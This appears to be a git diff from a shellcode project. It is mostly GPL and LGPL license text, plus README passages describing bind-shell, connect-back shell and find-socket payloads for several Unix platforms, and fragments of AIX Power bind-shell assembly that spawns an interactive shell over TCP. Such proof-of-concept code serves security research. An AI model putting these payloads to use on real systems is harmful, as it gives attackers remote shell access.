convey the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with this program; if not, write to the Free Software Foundation, Inc.,
|
||||
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program is interactive, make it output a short notice like this
|
||||
when it starts in an interactive mode:
|
||||
|
||||
Gnomovision version 69, Copyright (C) year name of author
|
||||
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, the commands you use may
|
||||
be called something other than `show w' and `show c'; they could even be
|
||||
mouse-clicks or menu items--whatever suits your program.
|
||||
|
||||
You should also get your employer (if you work as a programmer) or your
|
||||
school, if any, to sign a "copyright disclaimer" for the library, if
|
||||
school, if any, to sign a "copyright disclaimer" for the program, if
|
||||
necessary. Here is a sample; alter the names:
|
||||
|
||||
Yoyodyne, Inc., hereby disclaims all copyright interest in the
|
||||
library `Frob' (a library for tweaking knobs) written by James Random Hacker.
|
||||
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
|
||||
`Gnomovision' (which makes passes at compilers) written by James Hacker.
|
||||
|
||||
<signature of Ty Coon>, 1 April 1990
|
||||
<signature of Ty Coon>, 1 April 1989
|
||||
Ty Coon, President of Vice
|
||||
|
||||
That's all there is to it!
|
||||
|
||||
|
||||
This General Public License does not permit incorporating your program into
|
||||
proprietary programs. If your program is a subroutine library, you may
|
||||
consider it more useful to permit linking proprietary applications with the
|
||||
library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License.
|
||||
|
|
|
@ -0,0 +1,504 @@
|
|||
GNU LESSER GENERAL PUBLIC LICENSE
|
||||
Version 2.1, February 1999
|
||||
|
||||
Copyright (C) 1991, 1999 Free Software Foundation, Inc.
|
||||
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
[This is the first released version of the Lesser GPL. It also counts
|
||||
as the successor of the GNU Library Public License, version 2, hence
|
||||
the version number 2.1.]
|
||||
|
||||
Preamble
|
||||
|
||||
The licenses for most software are designed to take away your
|
||||
freedom to share and change it. By contrast, the GNU General Public
|
||||
Licenses are intended to guarantee your freedom to share and change
|
||||
free software--to make sure the software is free for all its users.
|
||||
|
||||
This license, the Lesser General Public License, applies to some
|
||||
specially designated software packages--typically libraries--of the
|
||||
Free Software Foundation and other authors who decide to use it. You
|
||||
can use it too, but we suggest you first think carefully about whether
|
||||
this license or the ordinary General Public License is the better
|
||||
strategy to use in any particular case, based on the explanations below.
|
||||
|
||||
When we speak of free software, we are referring to freedom of use,
|
||||
not price. Our General Public Licenses are designed to make sure that
|
||||
you have the freedom to distribute copies of free software (and charge
|
||||
for this service if you wish); that you receive source code or can get
|
||||
it if you want it; that you can change the software and use pieces of
|
||||
it in new free programs; and that you are informed that you can do
|
||||
these things.
|
||||
|
||||
To protect your rights, we need to make restrictions that forbid
|
||||
distributors to deny you these rights or to ask you to surrender these
|
||||
rights. These restrictions translate to certain responsibilities for
|
||||
you if you distribute copies of the library or if you modify it.
|
||||
|
||||
For example, if you distribute copies of the library, whether gratis
|
||||
or for a fee, you must give the recipients all the rights that we gave
|
||||
you. You must make sure that they, too, receive or can get the source
|
||||
code. If you link other code with the library, you must provide
|
||||
complete object files to the recipients, so that they can relink them
|
||||
with the library after making changes to the library and recompiling
|
||||
it. And you must show them these terms so they know their rights.
|
||||
|
||||
We protect your rights with a two-step method: (1) we copyright the
|
||||
library, and (2) we offer you this license, which gives you legal
|
||||
permission to copy, distribute and/or modify the library.
|
||||
|
||||
To protect each distributor, we want to make it very clear that
|
||||
there is no warranty for the free library. Also, if the library is
|
||||
modified by someone else and passed on, the recipients should know
|
||||
that what they have is not the original version, so that the original
|
||||
author's reputation will not be affected by problems that might be
|
||||
introduced by others.
|
||||
|
||||
Finally, software patents pose a constant threat to the existence of
|
||||
any free program. We wish to make sure that a company cannot
|
||||
effectively restrict the users of a free program by obtaining a
|
||||
restrictive license from a patent holder. Therefore, we insist that
|
||||
any patent license obtained for a version of the library must be
|
||||
consistent with the full freedom of use specified in this license.
|
||||
|
||||
Most GNU software, including some libraries, is covered by the
|
||||
ordinary GNU General Public License. This license, the GNU Lesser
|
||||
General Public License, applies to certain designated libraries, and
|
||||
is quite different from the ordinary General Public License. We use
|
||||
this license for certain libraries in order to permit linking those
|
||||
libraries into non-free programs.
|
||||
|
||||
When a program is linked with a library, whether statically or using
|
||||
a shared library, the combination of the two is legally speaking a
|
||||
combined work, a derivative of the original library. The ordinary
|
||||
General Public License therefore permits such linking only if the
|
||||
entire combination fits its criteria of freedom. The Lesser General
|
||||
Public License permits more lax criteria for linking other code with
|
||||
the library.
|
||||
|
||||
We call this license the "Lesser" General Public License because it
|
||||
does Less to protect the user's freedom than the ordinary General
|
||||
Public License. It also provides other free software developers Less
|
||||
of an advantage over competing non-free programs. These disadvantages
|
||||
are the reason we use the ordinary General Public License for many
|
||||
libraries. However, the Lesser license provides advantages in certain
|
||||
special circumstances.
|
||||
|
||||
For example, on rare occasions, there may be a special need to
|
||||
encourage the widest possible use of a certain library, so that it becomes
|
||||
a de-facto standard. To achieve this, non-free programs must be
|
||||
allowed to use the library. A more frequent case is that a free
|
||||
library does the same job as widely used non-free libraries. In this
|
||||
case, there is little to gain by limiting the free library to free
|
||||
software only, so we use the Lesser General Public License.
|
||||
|
||||
In other cases, permission to use a particular library in non-free
|
||||
programs enables a greater number of people to use a large body of
|
||||
free software. For example, permission to use the GNU C Library in
|
||||
non-free programs enables many more people to use the whole GNU
|
||||
operating system, as well as its variant, the GNU/Linux operating
|
||||
system.
|
||||
|
||||
Although the Lesser General Public License is Less protective of the
|
||||
users' freedom, it does ensure that the user of a program that is
|
||||
linked with the Library has the freedom and the wherewithal to run
|
||||
that program using a modified version of the Library.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow. Pay close attention to the difference between a
|
||||
"work based on the library" and a "work that uses the library". The
|
||||
former contains code derived from the library, whereas the latter must
|
||||
be combined with the library in order to run.
|
||||
|
||||
GNU LESSER GENERAL PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. This License Agreement applies to any software library or other
|
||||
program which contains a notice placed by the copyright holder or
|
||||
other authorized party saying it may be distributed under the terms of
|
||||
this Lesser General Public License (also called "this License").
|
||||
Each licensee is addressed as "you".
|
||||
|
||||
A "library" means a collection of software functions and/or data
|
||||
prepared so as to be conveniently linked with application programs
|
||||
(which use some of those functions and data) to form executables.
|
||||
|
||||
The "Library", below, refers to any such software library or work
|
||||
which has been distributed under these terms. A "work based on the
|
||||
Library" means either the Library or any derivative work under
|
||||
copyright law: that is to say, a work containing the Library or a
|
||||
portion of it, either verbatim or with modifications and/or translated
|
||||
straightforwardly into another language. (Hereinafter, translation is
|
||||
included without limitation in the term "modification".)
|
||||
|
||||
"Source code" for a work means the preferred form of the work for
|
||||
making modifications to it. For a library, complete source code means
|
||||
all the source code for all modules it contains, plus any associated
|
||||
interface definition files, plus the scripts used to control compilation
|
||||
and installation of the library.
|
||||
|
||||
Activities other than copying, distribution and modification are not
|
||||
covered by this License; they are outside its scope. The act of
|
||||
running a program using the Library is not restricted, and output from
|
||||
such a program is covered only if its contents constitute a work based
|
||||
on the Library (independent of the use of the Library in a tool for
|
||||
writing it). Whether that is true depends on what the Library does
|
||||
and what the program that uses the Library does.
|
||||
|
||||
1. You may copy and distribute verbatim copies of the Library's
|
||||
complete source code as you receive it, in any medium, provided that
|
||||
you conspicuously and appropriately publish on each copy an
|
||||
appropriate copyright notice and disclaimer of warranty; keep intact
|
||||
all the notices that refer to this License and to the absence of any
|
||||
warranty; and distribute a copy of this License along with the
|
||||
Library.
|
||||
|
||||
You may charge a fee for the physical act of transferring a copy,
|
||||
and you may at your option offer warranty protection in exchange for a
|
||||
fee.
|
||||
|
||||
2. You may modify your copy or copies of the Library or any portion
|
||||
of it, thus forming a work based on the Library, and copy and
|
||||
distribute such modifications or work under the terms of Section 1
|
||||
above, provided that you also meet all of these conditions:
|
||||
|
||||
a) The modified work must itself be a software library.
|
||||
|
||||
b) You must cause the files modified to carry prominent notices
|
||||
stating that you changed the files and the date of any change.
|
||||
|
||||
c) You must cause the whole of the work to be licensed at no
|
||||
charge to all third parties under the terms of this License.
|
||||
|
||||
d) If a facility in the modified Library refers to a function or a
|
||||
table of data to be supplied by an application program that uses
|
||||
the facility, other than as an argument passed when the facility
|
||||
is invoked, then you must make a good faith effort to ensure that,
|
||||
in the event an application does not supply such function or
|
||||
table, the facility still operates, and performs whatever part of
|
||||
its purpose remains meaningful.
|
||||
|
||||
(For example, a function in a library to compute square roots has
|
||||
a purpose that is entirely well-defined independent of the
|
||||
application. Therefore, Subsection 2d requires that any
|
||||
application-supplied function or table used by this function must
|
||||
be optional: if the application does not supply it, the square
|
||||
root function must still compute square roots.)
|
||||
|
||||
These requirements apply to the modified work as a whole. If
|
||||
identifiable sections of that work are not derived from the Library,
|
||||
and can be reasonably considered independent and separate works in
|
||||
themselves, then this License, and its terms, do not apply to those
|
||||
sections when you distribute them as separate works. But when you
|
||||
distribute the same sections as part of a whole which is a work based
|
||||
on the Library, the distribution of the whole must be on the terms of
|
||||
this License, whose permissions for other licensees extend to the
|
||||
entire whole, and thus to each and every part regardless of who wrote
|
||||
it.
|
||||
|
||||
Thus, it is not the intent of this section to claim rights or contest
|
||||
your rights to work written entirely by you; rather, the intent is to
|
||||
exercise the right to control the distribution of derivative or
|
||||
collective works based on the Library.
|
||||
|
||||
In addition, mere aggregation of another work not based on the Library
|
||||
with the Library (or with a work based on the Library) on a volume of
|
||||
a storage or distribution medium does not bring the other work under
|
||||
the scope of this License.
|
||||
|
||||
3. You may opt to apply the terms of the ordinary GNU General Public
|
||||
License instead of this License to a given copy of the Library. To do
|
||||
this, you must alter all the notices that refer to this License, so
|
||||
that they refer to the ordinary GNU General Public License, version 2,
|
||||
instead of to this License. (If a newer version than version 2 of the
|
||||
ordinary GNU General Public License has appeared, then you can specify
|
||||
that version instead if you wish.) Do not make any other change in
|
||||
these notices.
|
||||
|
||||
Once this change is made in a given copy, it is irreversible for
|
||||
that copy, so the ordinary GNU General Public License applies to all
|
||||
subsequent copies and derivative works made from that copy.
|
||||
|
||||
This option is useful when you wish to copy part of the code of
|
||||
the Library into a program that is not a library.
|
||||
|
||||
4. You may copy and distribute the Library (or a portion or
|
||||
derivative of it, under Section 2) in object code or executable form
|
||||
under the terms of Sections 1 and 2 above provided that you accompany
|
||||
it with the complete corresponding machine-readable source code, which
|
||||
must be distributed under the terms of Sections 1 and 2 above on a
|
||||
medium customarily used for software interchange.
|
||||
|
||||
If distribution of object code is made by offering access to copy
|
||||
from a designated place, then offering equivalent access to copy the
|
||||
source code from the same place satisfies the requirement to
|
||||
distribute the source code, even though third parties are not
|
||||
compelled to copy the source along with the object code.
|
||||
|
||||
5. A program that contains no derivative of any portion of the
|
||||
Library, but is designed to work with the Library by being compiled or
|
||||
linked with it, is called a "work that uses the Library". Such a
|
||||
work, in isolation, is not a derivative work of the Library, and
|
||||
therefore falls outside the scope of this License.
|
||||
|
||||
However, linking a "work that uses the Library" with the Library
|
||||
creates an executable that is a derivative of the Library (because it
|
||||
contains portions of the Library), rather than a "work that uses the
|
||||
library". The executable is therefore covered by this License.
|
||||
Section 6 states terms for distribution of such executables.
|
||||
|
||||
When a "work that uses the Library" uses material from a header file
|
||||
that is part of the Library, the object code for the work may be a
|
||||
derivative work of the Library even though the source code is not.
|
||||
Whether this is true is especially significant if the work can be
|
||||
linked without the Library, or if the work is itself a library. The
|
||||
threshold for this to be true is not precisely defined by law.
|
||||
|
||||
If such an object file uses only numerical parameters, data
|
||||
structure layouts and accessors, and small macros and small inline
|
||||
functions (ten lines or less in length), then the use of the object
|
||||
file is unrestricted, regardless of whether it is legally a derivative
|
||||
work. (Executables containing this object code plus portions of the
|
||||
Library will still fall under Section 6.)
|
||||
|
||||
Otherwise, if the work is a derivative of the Library, you may
|
||||
distribute the object code for the work under the terms of Section 6.
|
||||
Any executables containing that work also fall under Section 6,
|
||||
whether or not they are linked directly with the Library itself.
|
||||
|
||||
6. As an exception to the Sections above, you may also combine or
|
||||
link a "work that uses the Library" with the Library to produce a
|
||||
work containing portions of the Library, and distribute that work
|
||||
under terms of your choice, provided that the terms permit
|
||||
modification of the work for the customer's own use and reverse
|
||||
engineering for debugging such modifications.
|
||||
|
||||
You must give prominent notice with each copy of the work that the
|
||||
Library is used in it and that the Library and its use are covered by
|
||||
this License. You must supply a copy of this License. If the work
|
||||
during execution displays copyright notices, you must include the
|
||||
copyright notice for the Library among them, as well as a reference
|
||||
directing the user to the copy of this License. Also, you must do one
|
||||
of these things:
|
||||
|
||||
a) Accompany the work with the complete corresponding
|
||||
machine-readable source code for the Library including whatever
|
||||
changes were used in the work (which must be distributed under
|
||||
Sections 1 and 2 above); and, if the work is an executable linked
|
||||
with the Library, with the complete machine-readable "work that
|
||||
uses the Library", as object code and/or source code, so that the
|
||||
user can modify the Library and then relink to produce a modified
|
||||
executable containing the modified Library. (It is understood
|
||||
that the user who changes the contents of definitions files in the
|
||||
Library will not necessarily be able to recompile the application
|
||||
to use the modified definitions.)
|
||||
|
||||
b) Use a suitable shared library mechanism for linking with the
|
||||
Library. A suitable mechanism is one that (1) uses at run time a
|
||||
copy of the library already present on the user's computer system,
|
||||
rather than copying library functions into the executable, and (2)
|
||||
will operate properly with a modified version of the library, if
|
||||
the user installs one, as long as the modified version is
|
||||
interface-compatible with the version that the work was made with.
|
||||
|
||||
c) Accompany the work with a written offer, valid for at
|
||||
least three years, to give the same user the materials
|
||||
specified in Subsection 6a, above, for a charge no more
|
||||
than the cost of performing this distribution.
|
||||
|
||||
d) If distribution of the work is made by offering access to copy
|
||||
from a designated place, offer equivalent access to copy the above
|
||||
specified materials from the same place.
|
||||
|
||||
e) Verify that the user has already received a copy of these
|
||||
materials or that you have already sent this user a copy.
|
||||
|
||||
For an executable, the required form of the "work that uses the
|
||||
Library" must include any data and utility programs needed for
|
||||
reproducing the executable from it. However, as a special exception,
|
||||
the materials to be distributed need not include anything that is
|
||||
normally distributed (in either source or binary form) with the major
|
||||
components (compiler, kernel, and so on) of the operating system on
|
||||
which the executable runs, unless that component itself accompanies
|
||||
the executable.
|
||||
|
||||
It may happen that this requirement contradicts the license
|
||||
restrictions of other proprietary libraries that do not normally
|
||||
accompany the operating system. Such a contradiction means you cannot
|
||||
use both them and the Library together in an executable that you
|
||||
distribute.
|
||||
|
||||
7. You may place library facilities that are a work based on the
|
||||
Library side-by-side in a single library together with other library
|
||||
facilities not covered by this License, and distribute such a combined
|
||||
library, provided that the separate distribution of the work based on
|
||||
the Library and of the other library facilities is otherwise
|
||||
permitted, and provided that you do these two things:
|
||||
|
||||
a) Accompany the combined library with a copy of the same work
|
||||
based on the Library, uncombined with any other library
|
||||
facilities. This must be distributed under the terms of the
|
||||
Sections above.
|
||||
|
||||
b) Give prominent notice with the combined library of the fact
|
||||
that part of it is a work based on the Library, and explaining
|
||||
where to find the accompanying uncombined form of the same work.
|
||||
|
||||
8. You may not copy, modify, sublicense, link with, or distribute
|
||||
the Library except as expressly provided under this License. Any
|
||||
attempt otherwise to copy, modify, sublicense, link with, or
|
||||
distribute the Library is void, and will automatically terminate your
|
||||
rights under this License. However, parties who have received copies,
|
||||
or rights, from you under this License will not have their licenses
|
||||
terminated so long as such parties remain in full compliance.
|
||||
|
||||
9. You are not required to accept this License, since you have not
|
||||
signed it. However, nothing else grants you permission to modify or
|
||||
distribute the Library or its derivative works. These actions are
|
||||
prohibited by law if you do not accept this License. Therefore, by
|
||||
modifying or distributing the Library (or any work based on the
|
||||
Library), you indicate your acceptance of this License to do so, and
|
||||
all its terms and conditions for copying, distributing or modifying
|
||||
the Library or works based on it.
|
||||
|
||||
10. Each time you redistribute the Library (or any work based on the
|
||||
Library), the recipient automatically receives a license from the
|
||||
original licensor to copy, distribute, link with or modify the Library
|
||||
subject to these terms and conditions. You may not impose any further
|
||||
restrictions on the recipients' exercise of the rights granted herein.
|
||||
You are not responsible for enforcing compliance by third parties with
|
||||
this License.
|
||||
|
||||
11. If, as a consequence of a court judgment or allegation of patent
|
||||
infringement or for any other reason (not limited to patent issues),
|
||||
conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot
|
||||
distribute so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you
|
||||
may not distribute the Library at all. For example, if a patent
|
||||
license would not permit royalty-free redistribution of the Library by
|
||||
all those who receive copies directly or indirectly through you, then
|
||||
the only way you could satisfy both it and this License would be to
|
||||
refrain entirely from distribution of the Library.
|
||||
|
||||
If any portion of this section is held invalid or unenforceable under any
|
||||
particular circumstance, the balance of the section is intended to apply,
|
||||
and the section as a whole is intended to apply in other circumstances.
|
||||
|
||||
It is not the purpose of this section to induce you to infringe any
|
||||
patents or other property right claims or to contest validity of any
|
||||
such claims; this section has the sole purpose of protecting the
|
||||
integrity of the free software distribution system which is
|
||||
implemented by public license practices. Many people have made
|
||||
generous contributions to the wide range of software distributed
|
||||
through that system in reliance on consistent application of that
|
||||
system; it is up to the author/donor to decide if he or she is willing
|
||||
to distribute software through any other system and a licensee cannot
|
||||
impose that choice.
|
||||
|
||||
This section is intended to make thoroughly clear what is believed to
|
||||
be a consequence of the rest of this License.
|
||||
|
||||
12. If the distribution and/or use of the Library is restricted in
|
||||
certain countries either by patents or by copyrighted interfaces, the
|
||||
original copyright holder who places the Library under this License may add
|
||||
an explicit geographical distribution limitation excluding those countries,
|
||||
so that distribution is permitted only in or among countries not thus
|
||||
excluded. In such case, this License incorporates the limitation as if
|
||||
written in the body of this License.
|
||||
|
||||
13. The Free Software Foundation may publish revised and/or new
|
||||
versions of the Lesser General Public License from time to time.
|
||||
Such new versions will be similar in spirit to the present version,
|
||||
but may differ in detail to address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the Library
|
||||
specifies a version number of this License which applies to it and
|
||||
"any later version", you have the option of following the terms and
|
||||
conditions either of that version or of any later version published by
|
||||
the Free Software Foundation. If the Library does not specify a
|
||||
license version number, you may choose any version ever published by
|
||||
the Free Software Foundation.
|
||||
|
||||
14. If you wish to incorporate parts of the Library into other free
|
||||
programs whose distribution conditions are incompatible with these,
|
||||
write to the author to ask for permission. For software which is
|
||||
copyrighted by the Free Software Foundation, write to the Free
|
||||
Software Foundation; we sometimes make exceptions for this. Our
|
||||
decision will be guided by the two goals of preserving the free status
|
||||
of all derivatives of our free software and of promoting the sharing
|
||||
and reuse of software generally.
|
||||
|
||||
NO WARRANTY
|
||||
|
||||
15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
|
||||
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
|
||||
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
|
||||
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
|
||||
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
|
||||
LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
|
||||
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
|
||||
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
|
||||
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
|
||||
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
|
||||
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
|
||||
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
|
||||
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
|
||||
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
|
||||
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
|
||||
DAMAGES.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Libraries
|
||||
|
||||
If you develop a new library, and you want it to be of the greatest
|
||||
possible use to the public, we recommend making it free software that
|
||||
everyone can redistribute and change. You can do so by permitting
|
||||
redistribution under these terms (or, alternatively, under the terms of the
|
||||
ordinary General Public License).
|
||||
|
||||
To apply these terms, attach the following notices to the library. It is
|
||||
safest to attach them to the start of each source file to most effectively
|
||||
convey the exclusion of warranty; and each file should have at least the
|
||||
"copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the library's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
You should also get your employer (if you work as a programmer) or your
|
||||
school, if any, to sign a "copyright disclaimer" for the library, if
|
||||
necessary. Here is a sample; alter the names:
|
||||
|
||||
Yoyodyne, Inc., hereby disclaims all copyright interest in the
|
||||
library `Frob' (a library for tweaking knobs) written by James Random Hacker.
|
||||
|
||||
<signature of Ty Coon>, 1 April 1990
|
||||
Ty Coon, President of Vice
|
||||
|
||||
That's all there is to it!
|
||||
|
||||
|
|
@ -1,8 +1,3 @@
|
|||
UNIX Assembly Components for Proof of Concept Codes
|
||||
------------------------------------------------------------------------------
|
||||
|
||||
Introduction
|
||||
|
||||
This project contains a set of assembly components for proof of concept codes
|
||||
on different operating systems and architectures. These components were
|
||||
carefully designed and implemented for maximum reliability, following strict
|
||||
|
@ -11,63 +6,3 @@ position independent, register independent and zero free code. A special
|
|||
attention was put on code length when designing and implementing them,
|
||||
resulting in the most reliable and shortest codes for such purpose available
|
||||
today.
|
||||
|
||||
|
||||
Code length
|
||||
|
||||
Operating System bndsockcode cntsockcode fndsockcode
|
||||
and Architecture
|
||||
|
||||
AIX Power 264 204 220
|
||||
BSD x86 73 64 60
|
||||
Linux x86 78 71 62
|
||||
Linux Power/CBEA 223 183 171
|
||||
Mac OS X x86 74 65 61
|
||||
Solaris x86 95 91 86
|
||||
|
||||
|
||||
Code functionality
|
||||
|
||||
These components are differentiated by their actual functionality and impact
|
||||
of practical application. Here follows a brief description of the
|
||||
functionality of some of them.
|
||||
|
||||
Network server code (bndsockcode)
|
||||
|
||||
This code creates a listening TCP socket on a port defined at BNDSOCKPORT
|
||||
offset of bndsockcode routine (its value is set to 1234 by default). Upon
|
||||
accepting a connection, it duplicates the socket descriptor of the remote TCP
|
||||
endpoint to the process standard descriptors (stdin, stdout and stderr) and
|
||||
executes an interactive shell.
|
||||
|
||||
Network connect code (cntsockcode)
|
||||
|
||||
This code establishes a TCP connection with a remote IP address and port
|
||||
defined at CNTSOCKADDR and CNTSOCKPORT offsets of cntsockcode routine (its
|
||||
values are set to 127.0.0.1 and 1234 by default respectively). Upon
|
||||
establishing a connection, it duplicates the socket descriptor of the remote
|
||||
TCP endpoint to the process standard descriptors (stdin, stdout and stderr)
|
||||
and executes an interactive shell.
|
||||
|
||||
Find socket code (fndsockcode)
|
||||
|
||||
This code walks the process descriptor table in a search for a socket
|
||||
descriptor of the remote TCP endpoint identified by a port number defined at
|
||||
FNDSOCKPORT offset of the fndsockcode. In a case such a endpoint is located,
|
||||
the loop is terminated and found socket descriptor is duplicated on the
|
||||
process standard descriptors (stdin, stdout and stderr).
|
||||
|
||||
Prior to executing the fndsockcode, a client software should establish a TCP
|
||||
connection with a process in which context the code is to be executed.
|
||||
Appropriate setting of the code data at FNDSOCKPORT offset of fndsockcode
|
||||
should be also made to assure proper identification of the client's
|
||||
connection.
|
||||
|
||||
|
||||
Get the latest development version
|
||||
|
||||
The latest development version is available in our Subversion repository. Get
|
||||
it with the following command, which requires Subversion.
|
||||
|
||||
svn co http://risesecurity.org/svn/unixasm/trunk
|
||||
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: aix-power-bndsockcode.S 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* aix-power-bndsockcode.S - AIX Power Network server code
|
||||
* aix-power-bndsockcode.S
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
@ -21,15 +19,16 @@
|
|||
*/
|
||||
|
||||
/*
|
||||
* Compile with the following command.
|
||||
* $ gcc -Wall -DAIXLEVEL -o aix-power-bndsockcode aix-power-bndsockcode.S
|
||||
* Supported AIX versions:
|
||||
*
|
||||
* Where AIXLEVEL is one of the currently supported AIX levels.
|
||||
* -DV410 AIX 4.1.0
|
||||
* -DV420 AIX 4.2.0
|
||||
* -DV430 AIX 4.3.0
|
||||
* -DV433 AIX 4.3.3
|
||||
* -DV530 AIX 5.3.0
|
||||
* -DAIX614 AIX Version 6.1.4
|
||||
* -DAIX613 AIX Version 6.1.3
|
||||
* -DAIX612 AIX Version 6.1.2
|
||||
* -DAIX611 AIX Version 6.1.1
|
||||
* -DAIX5310 AIX Version 5.3.10
|
||||
* -DAIX539 AIX Version 5.3.9
|
||||
* -DAIX538 AIX Version 5.3.8
|
||||
* -DAIX537 AIX Version 5.3.7
|
||||
*
|
||||
*/
|
||||
|
||||
|
@ -58,8 +57,8 @@ bndsockcode:
|
|||
# socket
|
||||
|
||||
xor %r5,%r5,%r5
|
||||
cal %r4,-511+1(%r29)
|
||||
cal %r3,-511+2(%r29)
|
||||
cal %r4,-__CAL+1(%r29)
|
||||
cal %r3,-__CAL+2(%r29)
|
||||
cal %r2,__NC_socket(%r29)
|
||||
mtctr %r30
|
||||
bctrl
|
||||
|
@ -67,7 +66,7 @@ bndsockcode:
|
|||
|
||||
# bind
|
||||
|
||||
cal %r5,-511+16(%r29)
|
||||
cal %r5,-__CAL+16(%r29)
|
||||
liu %r27,0xff02
|
||||
oril %r27,%r27,0x04d2
|
||||
stu %r31,-4(%r1)
|
||||
|
@ -97,7 +96,7 @@ bndsockcode:
|
|||
|
||||
# close
|
||||
|
||||
cal %r25,-511+2(%r29)
|
||||
cal %r25,-__CAL+2(%r29)
|
||||
|
||||
0:
|
||||
mr %r3,%r25
|
||||
|
@ -118,7 +117,7 @@ bndsockcode:
|
|||
bge 0b
|
||||
|
||||
shellcode:
|
||||
# lil %r31,__CAL
|
||||
# lil %r29,__CAL
|
||||
xor. %r5,%r5,%r5
|
||||
bnel shellcode
|
||||
# mflr %r30
|
||||
|
@ -132,7 +131,6 @@ shellcode:
|
|||
stu %r5,-4(%r1)
|
||||
stu %r3,-4(%r1)
|
||||
mr %r4,%r1
|
||||
# cal %r2,__NC_execve(%r31)
|
||||
cal %r2,__NC_execve(%r29)
|
||||
# crorc %cr6,%cr6,%cr6
|
||||
# .long 0x44ffff02
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: aix-power-bndsockcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* aix-power-bndsockcode.c - AIX Power Network server code
|
||||
* aix-power-bndsockcode.c
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
